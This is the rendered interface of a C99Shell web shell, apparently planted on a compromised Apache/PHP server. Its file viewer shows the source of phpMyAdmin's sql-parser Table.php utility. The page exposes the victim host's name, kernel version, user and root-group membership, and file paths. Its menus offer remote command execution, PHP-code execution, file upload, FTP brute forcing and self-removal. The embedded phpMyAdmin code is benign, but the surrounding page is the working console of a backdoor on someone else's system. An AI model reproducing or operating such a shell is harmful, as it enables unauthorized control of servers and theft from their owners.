!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/public_html/phpmyadmin/vendor/phpmyadmin/sql-parser/src/Utils/   drwxr-xr-x
Free 28.14 GB of 117.98 GB (23.85%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Table.php (3.62 KB)      -rwxr-x---
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

declare(strict_types=1);

namespace 
PhpMyAdmin\SqlParser\Utils;

use 
PhpMyAdmin\SqlParser\Statements\CreateStatement;

use function 
is_array;
use function 
str_replace;

/**
 * Table utilities.
 */
class Table
{
    
/**
     * Gets the foreign keys of the table.
     *
     * @param CreateStatement $statement the statement to be processed
     *
     * @return array<int, array<string, mixed[]|string|null>>
     */
    
public static function getForeignKeys($statement)
    {
        if (empty(
$statement->fields) || (! is_array($statement->fields)) || (! $statement->options->has('TABLE'))) {
            return [];
        }

        
$ret = [];

        foreach (
$statement->fields as $field) {
            if (empty(
$field->key) || ($field->key->type !== 'FOREIGN KEY')) {
                continue;
            }

            
$columns = [];
            foreach (
$field->key->columns as $column) {
                if (! isset(
$column['name'])) {
                    continue;
                }

                
$columns[] = $column['name'];
            }

            
$tmp = [
                
'constraint' => $field->name,
                
'index_list' => $columns,
            ];

            if (! empty(
$field->references)) {
                
$tmp['ref_db_name'] = $field->references->table->database;
                
$tmp['ref_table_name'] = $field->references->table->table;
                
$tmp['ref_index_list'] = $field->references->columns;

                
$opt $field->references->options->has('ON UPDATE');

                if (
$opt) {
                    
$tmp['on_update'] = str_replace(' ''_'$opt);
                }

                
$opt $field->references->options->has('ON DELETE');

                if (
$opt) {
                    
$tmp['on_delete'] = str_replace(' ''_'$opt);
                }
            }

            
$ret[] = $tmp;
        }

        return 
$ret;
    }

    
/**
     * Gets fields of the table.
     *
     * @param CreateStatement $statement the statement to be processed
     *
     * @return array<int|string, array<string, bool|string|mixed>>
     */
    
public static function getFields($statement)
    {
        if (empty(
$statement->fields) || (! is_array($statement->fields)) || (! $statement->options->has('TABLE'))) {
            return [];
        }

        
$ret = [];

        foreach (
$statement->fields as $field) {
            
// Skipping keys.
            
if (empty($field->type)) {
                continue;
            }

            
$ret[$field->name] = [
                
'type' => $field->type->name,
                
'timestamp_not_null' => false,
            ];

            if (! 
$field->options) {
                continue;
            }

            if (
$field->type->name === 'TIMESTAMP') {
                if (
$field->options->has('NOT NULL')) {
                    
$ret[$field->name]['timestamp_not_null'] = true;
                }
            }

            
$option $field->options->has('DEFAULT');

            if (
$option) {
                
$ret[$field->name]['default_value'] = $option;
                if (
$option === 'CURRENT_TIMESTAMP') {
                    
$ret[$field->name]['default_current_timestamp'] = true;
                }
            }

            
$option $field->options->has('ON UPDATE');

            if (
$option === 'CURRENT_TIMESTAMP') {
                
$ret[$field->name]['on_update_current_timestamp'] = true;
            }

            
$option $field->options->has('AS');

            if (! 
$option) {
                continue;
            }

            
$ret[$field->name]['generated'] = true;
            
$ret[$field->name]['expr'] = $option;
        }

        return 
$ret;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0041 ]--